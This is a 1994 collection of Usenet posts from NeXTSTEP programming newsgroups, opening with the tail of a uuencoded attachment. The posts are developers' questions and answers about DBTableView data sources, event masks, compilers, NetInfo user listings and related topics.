M+2I"52)`73),*$%#33`O-"1*-B1*.S0G/BDH(5$J1S5@)5@R1#1@2B(P.V!$ M1D,T2D54*DHU*@I-7"8F)BXB)4I"*D-!-#A@354T25HD2E@D*U)5*RA>*E,U M(BDN,E(_0DTY,$([1$Q+2$L_-"A'.2LL(BI9"DTE(EY9,E(R0D\E,$-42$!& M2$A6."A>*B@J*BHN5B(O4D(B2D)#44!$8$A$3$A)(3@I(2HI5C$J73TB7$T* M34(_1S)/0#`[-4`G7D1%*&`L8$4L)S4O(T$C8$DS-3M"4%$P43,T4#(T7#9$ M+28U+&`\(R8](R1-,S`D8`I-4B(P4BXT5%%47$8T+$A6*2LI+RL](CDJ,R,G M,U,E,%,E,&!7-%`F,"Q>52P])BLO-6`C7#,D)#-&5T!0"DTE-%5>6$@J-"TH M5BDF,2TE5",Q*3,E(C-1(C!5*CA).U1=-"1@)C$M0S8K-S4I-B%!.D<]4U(W M.S@U040*35@X.54E15E33CE67%1/4EE!,4@^/"(_/#HW/598/C@U/CA55RA, M(3XJ(4-"-UA8/DI`0#@^1T<O)S8F*`I-)"%")BLY04)6)4PT)C\U)28V8#HR M2#A#0#XI1"8S*2Y"62]&+6`M/#-)*#-9-C`W56`R.3@T7V`W1R$N"DTH-"8G M6B)07D)=(4)-+D`U0V`C-#A+-4@K-5HK5B8J5DHB54Y"75%"35Y`345$6D=4 M6"XB+ELU0$,J)%0*33`P-5@I*D4E.D9@6C$P13,P23=0-UE@)#A<*"Q,(CTX M*CDB/U9`8#Y;8$5=4$E<,"Y8-BM`*5Q),5Q!,`I-(SY/)EI/*4TJ(4=&4T1` M4B1%-2$X0%Y&)#`L12Y04T$[1B([120E1%`K2T@M0$4A2CQ>4$56)B1"42M# M"DTC*R9-1F!72"A))E(Z-E!$4STA-#A"72Y`74TC6U$N0DTC6U51*5I@-%Y4 M*5]()R1&+3Y$(4@](R0[8"H*32@Q4E53/UPB.%91)BA`1B)4)D8\0R@I)R=4 M0BD[,$=!6$!"-$0U0%TY55Q`34%%42-')")./T%!,B$M-0I-(BM%.#E>,BI6 M8#987B)5+D,U,4-5-D!5-4A.1E1>1$0I.T`A(3HM+58G234C-E<D6DDI-#<F M.39342HS"DU'(D`N-UHL4#$E3#@F14=#5U@A7B5@,T=2+R-'.BI4."\B+39( M/UDP.$@\(R4M(2Y-(41-,"$J4"E643(*33]6+#508#I50S)78"Q),3!%.%0B M,$U2(2]34$](/%M`75,T/BY01"U6*T`[5B-66U116%`A8%`A,D5/.PI-0F`I M1"1@6"]&,"52(295+S`B7S%@0U`A+$1@*C0A+UI"630E3F`\53)`2D=$6E9( M,"Q0.T,U1"0T,SM>"DTI1"8D*B,H7#<C2T%3,C<S8$LP8%E44$Q:8%I.+EDQ M(2=+8$XK0%XP,#,R4R4E)%U21$]31$4P4$-,6"P*33I))UE6)"98.%=@1#XB M0&!&)5D^23-./2M>*B0F5R%/*F`B/T=&749`/D4N(C!#5T(H)BT^23@G64HE M60I-/"%;/RA006`Q,D1@5R51)"E37B5#62@^8%(Z8%PV/SPF0#A'+U-$1D-6 M(41`2E$P*48J8&!)(E!6.%Y:"DU$4$HT2R0P2EXI+4]@1#%4/$TT0R8J-&!9 M)ETW5RM54B]26$E@4C`K76`K,#M5.BDE.CY#+SE@(B)0)UD*34DD(5$U0$1( M*5M9040N+R],0RI)/R<D*D`D)5<P,#HP)"8Q+U(I33@]+3)#+$T]8%U"1$!9 M8$A$,$LY8`I-25%0+$$J6T$[,"-$7V`Q(4Y(63-3-V!$0U)`8%PR+E-$-U== M.DTV.DU)-DTA.2<Z14I,)C$O.4E+-5@H"DU)0TY58"=!8%,E-"=,*%E`,E=# M,S-%5#(E3$Y7)#-5.B4]+4-6+RH\.S%5/%4\,C943U4]-U8S(R$V,DT*33E& M-T0[(SDO5C8B0E4\,28Q,D@G220]/%`Q4UTX6C$L/B8N434B)E%(4S,F/5)` M8$%-.#$L*2PH8#@U*`I-+C@U)%U&.4!6,"Y&.SHE2UI6*#%@)3DP(4M((2H\ M)3==(C`X52$H22$N(3M=6BPX8"(_4$-9)T1.24$W"DTC(RM+4UDB4BE40$$^ M4"E*0$0^)CE!)216,#Q9-"8P5S(G8$)'/"$P/RXS/TT]*S4Y2U(Y7R$R150P M7CT*32DN5R$C,"A+4310*RH^.34V0"I$(D1%(U](3T<C7U]44D\E7V`Q0T%5 M+U)00T4]0RQ*12PK22U-.%$D8`I-+4XP(28L3T!`2B(L,3`Q*%\D(D9'(4%6 M4$\G-T-?8#4H1",X,%`Y,")%)C1%/"A04D!5/S%-3U@O*RDD"DU+32--2$4E M24!$6C$U.RA.)D`F)SA7/%`N/#A!3EP\5DQ?/D4M5C-@*#,E4"DA-$U0(4=0 M+5-8(3I06#T*32Q@.%@S6#@V1RH\6T\Y+U$Y+4$H+CE(.#1>(D%(-%Y&*B]3 M1"168"LC,"0A63E=8#0O63T]0$=613-.00I-,U970U5-0%4^048Y04\Y8%XY M)B(F.$XV4"XZ4"%#4$!(/2-')V!:5CA#.U$O(3HO.DPJ7EPS/E1#/$XC"DTF M6SXM1V`C54%-42=>.50T1"1?4&`B/SQ%(T9%+3HD74=!,SI@5%)),5<P7S9@ M+$HT,TY40S-`12@G)"(*35M@1$<P)E-5-2I(7RE4(ULU4#LH/S(Q02-**4DJ M(6!>1"@S4B%,4"M?)#LK,B)71D!%+R(J44))(R-)4`I-8"<Z42M/.5HC5C0L M,B)"3"0X7RH]+2=,,R$N/4-/.2@T1R@M,V!!3T0E*E9$2SDT)C)$7TLY-UE9 M)3-`"DTU1U@S)#!/14%5.TXP(C@O-ULK5RTY-#$H+B8W5"52-#]=.C,A54)6 M13]((D@](2==,2HF.3M6(38C*#D*33DP0"HD)34^.E5"13Q@-3E114!`)4@F M13HA5C1)42T[*C5!-D5(,$4Y249>)RDY/#!6*#E*(E(V-48U2`I-.C<F+45' M)#=41S4Z.T!'2RA$*5$M4R(V+D(T2$1$54A%/54U6"0W.C(U)SHE-5Q)3S4A M64Y6-4\R/TPL"DU`)2M%)4,Q/$E%/R59-STE.2=5+U@Y45(F-C`Y150U-CHS M14,J-T9(231/43<E.C4L5"TL)#537C556R8*33@E)3TC14<G.3<Z23Y7)C<[ M)41853515D4G+2](+"1$1"%#-"DB*R$F5#(N4&!;0CXG)DA%34@H2#I@)`I- M.D!56E0A230B-#@G/RP^/E0C.29!*UU`0$=$5S1$)RPS(5A!+2E(.#A4.$@B M8#PI+$),124_1"1+*2PC"DU)0%=8)51$1U12+4XA3BY1/210-5Y',%I*,34Z M0$!+0$==)%Y2(5)>+%1?1#@E0R4B5"(I.CD]4B(Q-C8*32$E04$]*$0T1"@V M439)2T0N0$0M-D@K,D@K-2%)0V`Y/#8N,3@^4%U#,F`F0S9',$0V+5\Y-D@Y M-F`Z.`I-,#XY,"A28$Q!(3@Y)B8A.R<H,BI`/5$G.%]*,31`8$`F-S!41C\R M)#I.(CA<,5I36%`E*355.%Q@6"8V"DU,)BHZ/S1@+BI10UE?,C964CA:05Y> M45U'*BPK."Q/1"(G/F`Y/B1<13A=3B8Q,V`X6EHU32A-2&`T14P*32A?2D!% M3"-$2&`C)4,B5#(I6U!@-E%#7BPF.RPE(ETX)RLH7#TG-D162TA(,U!*+$Q` M6R5&*25!)5)'/@I-,#A%+$!`(4PY-%!(.S]1-SQ..TY0*DPD1C=6+EQ?*55# M*#-=5"E'63T\,$TX0#]-2#(Z5$,Y*3U7*T!<"DTF*"HF,T`U52XM4B(E-B-- M0",Z*BPA+$9)0R4[+BE(05%%0ED[/S`M3S0R2BHD4$@A(CXE)#<B4#$E)#0* M34%:.UDU)3!(-DA03EA#/EA@+T(C43<K3$TH5U4C2#A"4D$P,$]..$5**U`E M1E9;+U9!0U!9*2XT2%HG10I--558.3=8+DE.-3960SM30#(I12Y*239'5%1< M42%=0#!60CE`6#0]0"DB.B8D,3A71V`E7$8G/D`Q1#`R"DTE)%]-5&`Y,$-5 M+V`D/"%$04D\)28H4#`Y/DH[7RP_,%HF73XB,"]'6SXH,CXR,"I@+%!7(3)2 M/#`N+TH*35U$1T!&7&`_)RTY4#)`5"=243@F/#DJ.R1:/"U(/$PU1R]4,%TY M0"0J*5!15C5?.2U(.CI17CE*3CA66`I-(ETI.%4L*#M)*4A1,R-:23HX(CLT M*$!$8$5)4"1>(S0N3416*D!)128K,#DI4$$A1BPQ,UPS5DU#/#TN"DU;.F!& M7"@J5C%57E-.0U!-0C%,0%5#.SY$-C]`12U@)$XX)5PQ/T@S/"I84"5&+2-8 M1D5802-+1U-;1$0*36!@/"<P/4Y(+RA8/%!:.D%<,2(J1S=7.$\Z0E)(,2E# M0",R)C`E-$$F0#P\6$9*0D91)T,V*4<^.2)20`I-2$$\1#<F)#=!03I14#`Q M4"=-5C-3)T1:3#!%3E!@15`R3T(\*CPW/5PK4$D[6D5&*2,G53LD+CU`6R<S M"DTV*$`V.3Q"*CPF."H_0%\K7"1#53\Q3RPQ8$-@)#Y"+3Y@/D%4)CHP02$R M)U10038M*#HR,$XO6$Q@0#`*34%2+T12*%T\1DDP0R(V8%DX2%E@6%Y&5"X[ M2&!',B]#+B-**D-*,D-:.4!?,")>*$@T4B$Y+3@O728X-0I-)C%2+41&*D9; M*$(Z5BA9(5$A.#E>3D(N3R8N6%(P5DDN7E,N7"Q!-R8I-5`H5BTR73M2/4=* M+CE4-$U@"DU&3C]$6SM`)2<Q+%`Q0$TY,B0I0U5-.U4V+SE,0UA6-4TJ05]; M25]<.5]?23]?6C]@)D!@*DA@+DA@,4@*36`X2#I*2#M;-#Q#-"9"*"5+7B8S M-F`T-#(K.4%&03(A+$A"5T@X.R0H-T4H-#DJ)EXA3U9!4#5"/25`/`I-4T1` M541(.U@C4R(G530B+UTB+4E(+2U!/3A`1#HZ(SHH.3)$*"9**%=6)C9-(C4] M05%-0D4V,#Y)1$-("DU(,#I:)TLZ)SPI*5(^(4\Z,CDC,D!$0$4G-$-76#E< M1$$M*2E?*B9!76`U*$(I2C)`+D!((3HD.BHH*5@*32HW-D!=/B1?6"(A(D(D M44A*53!!-4`F1C1)+B0H/3I`)%Y`,")"3#E((6`S2S@P34(X029(2$XX04PZ M*`I-*UHJ+#XB+RY")R-()E)*)UM(05$J(51:05]:*#TR0#X^2#PN0C=$2"=; M2B<G2$5=*B(C6D%:2D$R(B@["DU.2#I:2#<Y2"A*2B<I1$TJ6$DI2"M3-BDC M0D(T7B)=13,F+D)%.4!0-3A$)T19."@L524L)44O)R$B.BH*34(Y6TA17S!2 M2#A$14192D@M*S8I2%)"/#8C*RE",U,S5$8P1UI$4DTZ+#I4*5`I+4E>0C\V M*$PJ0D5>0@I-,3=@2"]$53,D6BTX+3-&*D0N*$\J0D5.-"I=/4DQ0SL\.#93 M-S951R5!23XZ,B1*14="54$]0R8V4D!>"DU1*#8_5D50.$H]-B52/54]6BU; M74$_8#<W7D%,)S=*3BA'-#<F+5D_64DN3"XA5#U!3THJ(EY@6EA(2$`*2U%* M6R@D.V`W6"TE/#`A1CXA/"1"/E-@3$U`-CLX/$TP)$U`8%(Z*2$P,"Q00E8Q M2#`B2C`C2C$H8#A(0`I@"GT*K'U<<&%R9%QT>#4V,%QT>#$Q,C!<='@Q-C@P M7'1X,C(T,%QT>#(X,#!<='@S,S8P7'1X,SDR,%QT>#0T.#!<='@U,#0P7'1X M-38P,%QF,%QB,%QI,%QU;&YO;F5<9G,R.%QF8S!<8V8P(%P*7`H*7&D@1F]O M=&YO=&5S"EQI,""\($EF('1H97)E)W,@82!P<F]B;&5M+"!P;&5A<V4@;&5T M(&UE(&MN;W?0=&AI<R!H87-N)W0@8F5E;B!S96YT(&]U="!W:61E;'DL('-O 5(&ET)W,@8V]N8V5I=F%B;&4N"GT* ` -- Zacharias J. Beckman - Dolphin Technologies Inc. - zac@dolphin.com - NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
Newsgroups: comp.sys.next.programmer From: Zacharias J. Beckman <zac@dolphin.com> Subject: Re: Creating a DBTableView from scratch Message-ID: <1994Feb17.020438.3299@dolphin.com> Sender: zac@dolphin.com Organization: Dolphin Technologies Inc. References: <1994Feb15.162832.679@parsec.mixcom.com> Distribution: usa Date: Thu, 17 Feb 1994 02:04:38 GMT Scott Violet writes > > HI all, > I'm working on a project in which I need to know how to set > the data source of a DBTableView. The documentation on this is pretty > minimal. I'm wondering how IB does it in such a manner that the > programmer doesn't have to do anything... Well, the first question is, do you want to spend money for a solution? If so, Dolphin Kit offers exactly what you are looking for, through a dynamic array class which connects directly to the DBTableView, and several examples which go into greater detail. If interested, try <info@dolphin.com>. If you DON'T want to spend money, then I'll help point you in the right direction. You're right, the docs are minimal and, in fact, outright lie in a few places. Here's what you are going to need to do: 1. Create a datasource that can represent column data. Let's call it DSArray. This data source must implement a couple of informal protocol methods, which are: - (unsigned int) columnCount; - getValueFor:index at:(unsigned int) aPosition into:aValue; - getValueFor:rowProperty :columnProperty into:aValue; - (unsigned int) rowCount; - setValueFor:index at:(unsigned int) aPosition from:aValue; - setValueFor:rowProperty :columnProperty from:aValue; The documentation fails to mention, however, that you are also going to have to implement these methods: @interface DSArray (Private) - reset; - setColumns:(unsigned int) columns; - setRows:(unsigned int) rows; - (unsigned int) usedColumns; - (unsigned int) usedRows; @end (As you can see I've put them in a private category and hidden them). Briefly, what each of these must do: - column/rowCount - usedColumns/rows In my implementation, -column/rowCount and -usedColumns/rows return the same thing. I think there must be some very poor design inside the DBTableView to require these two rather peculiar methods... the DSArray class is dynamic enough to avoid a differentiation between "used" and "allocated" columns. These methods return the effective size of your data source. - getValueFor:index at:(unsigned int) aPosition into:aValue; - getValueFor:rowProperty :columnProperty into:aValue; These obtain the values for a given cell in your data source. You must put the value into the DBValue aValue. You can safely enough use index and rowProperty as though they were integers. But beware... they handling of these indexes changed between release 3.1 and 3.2. - setValueFor:index at:(unsigned int) aPosition from:aValue; - setValueFor:rowProperty :columnProperty from:aValue; Sets the values by taking the string value from aValue. The opposite of the get... methods. - setColumns/Rows Sets the relative size of your data source. - reset Internally poor design of DBKit. It is called on occasion, typically when a data source is expected to empty itself. In DSArray it does nothing, but it's gotta be there or you application will crash under some conditions. Bleah. 2. Hook your data source up to a DBTableView This can be done dynamically, if you so desire. You can also put together a palette. Here's the dynamic code... you'll probably be able to figure out whatever you want to do from it: tableView = [[DBTableView allocFromZone:[self zone]] initFrame:&theFrame ]; // configure the new DBTableView instance to behave in a manner we // approve of: [[theWindow contentView] addSubview:tableView]; [tableView setHorizScrollerRequired:YES]; [tableView setVertScrollerRequired:YES]; [tableView setMode:DB_RADIOMODE]; [tableView acceptArrowKeys:YES]; [tableView allowVectorResizing:YES]; [tableView setEditable:YES]; [tableView setColumnHeadingVisible:YES]; // now set the DBTableView's data source to theArray, an instance of // DSArray class; by making theArray the delegate, sorting will auto- // matically be activated when a column is dragged into position zero: [tableView setDataSource:theArray]; [tableView setDelegate:theArray]; // tell the columns how to behave by setting minimum and maximum sizes // (this is here to show how, but isn't required): columnVector = [tableView columnAt:0]; [columnVector setMinSize:30.0]; [columnVector setMaxSize:200.0]; // reenable the flush window and cause the new DBTableView instance to // display itself: [[theWindow reenableFlushWindow] flushWindow]; [tableView display]; Note that the sorting behavior mentioned above is a function of DSArray, not the DBTableView. 3. Write your data source Well, that's obvious; you'll probably need to write some form of dynamic array or whatever. If you have any questions, feel free to email me--but be warned I'm terribly busy these days and it might take a while for me to reply. Best of luck with your DBTableView!!! -- Zacharias J. Beckman - Dolphin Technologies Inc. - zac@dolphin.com - NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
Newsgroups: comp.sys.next.programmer From: mark@xexos.com (Mark Chamberlain) Subject: IXKit in 3.2 - how is it? Message-ID: <1994Feb17.003748.3252@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) Date: Thu, 17 Feb 1994 00:37:48 GMT We're looking to undertake a fairly reasonably sized database-ish project soon, and are looking (again) at using IXKit for some of it. Is it stable yet? Do the horror stories still hold true? I'd appreciate experiences, good and bad, under 3.2 Thanks in advance. -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.misc From: fabien@free.fdn.org (Fabien Roy) Subject: Help on netinfo Message-ID: <1994Feb16.184944.12259@free.fdn.org> Sender: news@free.fdn.org Organization: Fabien Roy Electronic Engineering (F.R.E.E.) - Paris, France. Date: Wed, 16 Feb 1994 18:49:44 GMT Does any body knows how to get in objective-c a list of the user's login name from the / netinfo domain like nidump does? I would like to retain login name and real life name. I know how to do it in a shell script: nidump passwd / | awk -F: ' { printf("(%s) %s\n",$5,$1); }' | sort (Alain Cleaudeville) alain (Alain Forcioli) forcioli Thanks. --Fabien --------------------------------------------------------------------- Fabien_Roy@free.fdn.org (NextMail accepted) XO, 81 alle Danielle Casanova, 93320 Les Pavillons sous Bois France Tel: 33 1 4847 5198 Fax: 33 1 4847 5175
Newsgroups: comp.sys.next.programmer From: trustar@netcom.com (Rick Plotke) Subject: NeXT programmer opportunity in Los Angeles Message-ID: <trustarCLCx18.B8o@netcom.com> Summary: NeXT programmer opportunity Keywords: NeXT jobs Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Thu, 17 Feb 1994 07:05:31 GMT Contract opportunity for bright NeXT programmer in Los Angeles. Needs great comm skills and be able to work with users and analysts in designing, coding and documenting a decision support system. Needs a computer or math degree. Contact Rick Plotke - trustar@netcom.com -- trustar@netcom.com
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object From: mat@mole-end.matawan.nj.us Subject: Re: Is inheritance a good idea? Message-ID: <1994Feb17.071120.9953@mole-end.matawan.nj.us> Organization: : References: <1994Feb12.132341.12317@prim.demon.co.uk> <2jqcd0$1bl@steffi.demon.co.uk> Date: Thu, 17 Feb 1994 07:11:20 GMT In article <2jqcd0$1bl@steffi.demon.co.uk>, robert@steffi.demon.co.uk (Robert Nicholson) writes: > dave@prim.demon.co.uk (Dave Griffiths) wrote in comp.lang.objective-c,comp.sys.next.programmer,comp.object > >... In fact it's possible that the design of good protocols is more > >important than the objects themselves. What is the most significant > >thing about the building block approach of Unix? It's ... that you > >have a communication standard - standard in and standard out. ... > With _code_ reuse being your main aim I do not see how relying on cohesive > communication b/w objects solves anything. ... If code reuse is your main goal, you may never get anywhere. The goals should be _design_ reuse, _architecture_ reuse, and _analysis_ reuse. The basic observation is, however, a good one. The hard part is finding how to break the problem down into more or less orthogonal abstractions. ``These two facts are the foundation of all clear thinking about ourselves and the universe we live in.'' --C.S.Lewis, _Mere Christianity_ ``It is the job of critical analysis to seperate things which have become, as it were, mixed together.'' Karl von Clausewitz, _On War_ (paraphrase) You have to identify your first terms and then build usable models from them. I wish you well; we need as much of this as we can get. -- (This man's opinions are his own.) From mole-end Mark Terribile mat@mole-end.matawan.nj.us, Somewhere in Matawan, NJ (Training and consulting in C, C++, UNIX, etc.)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer Subject: Anyone for Booch? Date: 17 Feb 1994 09:06:06 -0000 Organization: me organized? That's a joke! Message-ID: <2jvc1u$1ch@steffi.demon.co.uk> I've just received my copy of Booch's Object-oriented Analysis and Design with Applications 2nd Edition. Anybody in the NeXTSTEP community using this? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Building Libraries with Project Builder [RTF] Date: 17 Feb 1994 08:27:13 -0000 Organization: me organized? That's a joke! Distribution: usa Message-ID: <2jv9p1$12m@steffi.demon.co.uk> References: <1994Feb17.015046.3230@dolphin.com> zac@dolphin.com wrote in comp.sys.next.programmer >Hello, > >For those of you interested in building libraries using Project >Builder, the enclosed is a comprehensive solution to the problem. >There are several approaches on the Net, but I think this one is >cleanest; it requires no custom changes to Project Builder, supports >libraries, debug builds, and Installer packages. > >The enclosed files will convert a standard Tool project into a >library project. It includes modified Makefiles. Generally, a few >small changes will have to be made to the Makefile.preamble, but they >are obvious and localized to the top of the file. Buyers of Dolphin >Kit will have this automatically installed, but it's easy to do so >manually and I don't mind making this public, so here it is. Pardon >the appearance that it was ripped out of a shipping product it was The most powerful facility that the Library hack provides is that which allows you to determine a project's Makefile.preamble/postamble depending on Project Type. This currently rely's on custom modifications to the project_templates directory in the PB App wrapper. For instance, I've set my INSTALLDIR for palettes in the Palette project types Makefile.preamble. Ditto to Libraries. I like the idea of specifying these files based on project type. Admitately, this approach may require some changes once NeXT support Libraries in PB. IMHO: they will be thru a separate Library type not Tool. The current hack allows me to realize that in PB. I'm much more comfortable making these changes than I am changing any of NeXT's makfiles. Wait until Michael posts his next solution. It's currently not complex. It just relies on some rather "interesting" PB behaviour. re: savepanel. Instead of making modifications to NeXT's Makefile.preambles your solution would be more elegant if you put the MAkefile.preambles in the project_templates directory. >Footnotes If there's a problem, please let me know this hasn't been >sent out widely, so it's conceivable. There is a problem, can we post things in standard uuencode gzipped form? I don't use NewGrazer... IS there _anybody_ else that doesn't use NG? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: jds@aplexus.jhuapl.edu (John D Stanhope) Subject: How does mouse dragged work ? Message-ID: <CLDFqv.L8E@netnews.jhuapl.edu> Sender: usenet@netnews.jhuapl.edu Organization: Johns Hopkins U. Applied Physics Lab Date: Thu, 17 Feb 1994 13:49:43 GMT I have a view that where I want to be able to select things and move them around (don't we all). I do the selecting with mouseDown and I was hoping to do the dragging with mouseDragged. Unfortunatly my view never receives the mouseDragged message. The mouseDown stuff works just fine. Is there some next responder thing I need to set or should I just do all my dragging and mouse related business in mouseDown? -- ---------------------------------------------------- Otto "Apes don't read philoshpy" Wanda "Yes they do, they just don't understand it" ----------------------------------------------------
Newsgroups: comp.sys.next.programmer From: klaus@knipp.en.open.de (Klaus Malorny) Subject: Converting PostScript to TrueColor (24Bit RGB) Message-ID: <1994Feb17.094444.19578@knipp.en.open.de> Date: Thu, 17 Feb 94 09:44:44 GMT Organization: Private/FRG Hi, I've got the problem to convert a lot of colored PostScript files into true color bitmap files. Looking for applications doing the job was disappointing... The only one I found (ImageViewer) is able to render the file to screen and store it with the same color depth. But I don't have a system running NeXTStep with true color capabilities... So I tried to figure out (with my non existing NeXT programming experiences) how to write a program to do the conversion. The only way I found is to create a PostScript context and use the machportdevice operator to install a device that writes into a screen depth independent bitmap. There are a lot of parameters which define the color format of the bitmap, but unfortunately it supports only a limited number of formats (B/W, 4 level gray and CMYK with 1 Bit per Sample). If you can give me any advice, please do it ! Thanks in advance Klaus
From: jmd@cube.handheld.com (Jim De Arras) Newsgroups: comp.sys.next.programmer Subject: Perl on NeXT? Date: 17 Feb 1994 14:23:56 GMT Organization: Hand Held Products, Inc. Distribution: world Message-ID: <2jvulsINNerc@clem.handheld.com> Anyone get Perl to compile error free on NS 3.2 black? I fail the getuid tests. Config files welcome! Jim
From: (null pointer)@.bio.uci.edu () Newsgroups: comp.sys.next.programmer Subject: Re: Bug in GNU CC (g++) specific to NeXT? Date: 17 Feb 1994 16:18:22 GMT Organization: University of California, Irvine Message-ID: <2k05ce$m5s@news.service.uci.edu> References: <2jugo8$rbp@news.service.uci.edu> In article <2jugo8$rbp@news.service.uci.edu> steve@fisher.bio.uci.edu (Steve Frank) writes: > Well, I did make some silly beginner errors in C++. But I am still puzzled by one feature/bug specific to GNU gcc. I have these typedefs: class Group; typedef Group* GroupPtr; typedef GroupPtr* GroupArray; followed by a full specification of class Group, and also and the following function inline Group::~Group() { if (data){ GroupArray d = data; for (int i = 0; i < size; i++){ d++->refDown(); } delete [] data; } fprintf(stderr, "Destructing Group\n"); } The pointer d has type (struct Group **), and so should not correctly be dereferenced by -> in "d++->refDown()". But this compiles without warning in gcc, and actually calls the correct function refDown(). This line is flagged as a fatal type mismatch with the SPARC CC compiler on a SUN, as would be expected. I cannot find anything in the gcc manuals to suggest that the double dereference by -> is a feature.
Newsgroups: comp.sys.next.programmer Subject: Lint for NeXT Message-ID: <1994Feb17.153509.27568@urz.unibas.ch> From: kuhn@ifi.unibas.ch (Walter Kuhn) Date: Thu, 17 Feb 1994 15:35:09 GMT Sender: news@urz.unibas.ch (USENET News System) Organization: Institut fuer Informatik Hi there, does someone know where i can get lint for the NeXT? Please reply by email. Many thanks in advance Walter Kuhn -- Walter Kuhn email: kuhn@ifi.unibas.ch Institut fuer Informatik, Mittlere Strasse 142, CH-4056 Basel, Switzerland
Newsgroups: comp.sys.next.programmer From: mark@xexos.com (Mark Chamberlain) Subject: Re: Compiling MABS Message-ID: <1994Feb17.120614.4682@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) References: <2judep$m1i@menudo.uh.edu> Date: Thu, 17 Feb 1994 12:06:14 GMT In article <2judep$m1i@menudo.uh.edu> sears@uh.edu (Paul S. Sears) writes: > > Okay.. It is easy to compile MABs with ProjectBuilder, but how about from > the command line? I tried using the switches -arch m68k -arch i386 but I > got the following error with the linker: > > cc -arch m68k -arch i386 This is all you need, but you need to ensure that all of the libraries that you are linking in, are MAB libraries. In your example, the machine that your are compiling the program on has an m68k only libsys_s.a. Installer gives you an option when you first start the 3.1/3.2 Developer package on what binaries to install for. This also applies to what libraries you are installing as well, confused me too. -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
From: bryan@tds.com (Madeleine Bryan) Newsgroups: comp.sys.next.programmer Subject: help on shareddict Date: 17 Feb 1994 11:27:54 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9402171726.AA01891@sparky.tds.com> I am having a problem when I recompile (someone else's) NS3.0 code for NS3.2. The application sets a window and gives it to the systems so that it is permanently displayed even after logout. What the code seems to be doing is relying on shareddict in the .psw to be able to get the window id that was given to the systems. defineps PSgetBackDropWindow(|int *u) shareddict /BackDropWindow known %% key defined and present? { BackDropWindow } %% Return it { -1 } %% Return -1 to indicate no window ifelse u endps This allows the application to free that window and set a new one. ... this works in -3.0! The result that even after logouts and logins the app would be able to then "get the id-and free that window-then set the new window" is not working. So the app after logout and in sets another window (behind the old one) without freeing the old thereby the user cannot see the new window and if the user logged in and out MANY TIMES and then used the app to set the window eventual lock up and reboot will occur.. In 3.1+ the shareddict seems to no longer hold that information about the window between logins... (I know this app is tampering with un-doc-supported areas of NeXT interface #@%$#%) but "it is not my app but to fix ,says I.".... Question: ???? Does NS still hold this information somewhere between logins? if so where! Other solution:! ! ! My other fix is having the app write the window ID out to /tmp for recall...(since this permanent window setting app must work between users) .. Other suggestions would be helpful...Thanks in advance for the novice assistance. ---- Madeleine Bryan "Don need no stinkin quote" bryan@tds.com NeXTMAIL accepted
From: Roland Telfeyan <roland@gomidas.mi.org> Newsgroups: comp.lang.objective-c,comp.sys.next.programmer Subject: gcc, tk, IB ? Date: 17 Feb 1994 18:53:59 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2k0eg7$7ee@zip.eecs.umich.edu> I want to get the latest version of gcc and tk and Andrew McCallum's (mccallum@cs.rochester.edu) tk-objc library and get this up and running on both a NeXT (with co-Xist) and a Sparc for the purpose of cross-development. Any words of advice before I set out downloading and compiling? Does anyone have any experience with Michael Johnson's (wave@media.mit.edu) WaveWorld stuff? Specifically, can one develop TK interfaces in IB and then port them to a pure X environment? Thanks, Roland --------------------------------------------------------------- Roland Telfeyan Internet: roland@gomidas.mi.org Gomidas Research UUCP: uunet!gomidas!roland 1697 Broadway, Suite 104 Phone: +1 313 761 9590 Ann Arbor, MI 48105-1865 Fax: +1 313 761 9890 ---------------------------------------------------------------
From: michael@cogito.iaee.tuwien.ac.at (Suessner Michael) Newsgroups: comp.sys.next.programmer Subject: Re: How does mouse dragged work ? Date: 17 Feb 1994 19:01:53 GMT Organization: Technical University Vienna, Austria Message-ID: <2k0ev1$mdu@email.tuwien.ac.at> References: <CLDFqv.L8E@netnews.jhuapl.edu> You are lucky, because I tried it a week ago. You have to add the "drag left mouse event" to the window event mask. You should know, that every window has its own event mask. Do it like this? static int oldMask; /* You can also define this variable in Your object*/ -mouseDown:(NXEvent *)theEvent { oldMask=[window addToEventMask:NX_LMOUSEDRAGGEDMASK]; /* call Your drag routine for the first time */ return self; } - mouseDragged:(NXEvent *)theEvent { /* as long as You hold down the left mouse button, You will receive these events */ return self; } - mouseUp:(NXEvent *)theEvent { /* after You dragged, You can remove the "left mouse drag event" from the event mask */ [window setEventMask:oldMask]; return self; } Tell me if this code looks fine! Echo is always wanted! Ciao Michael
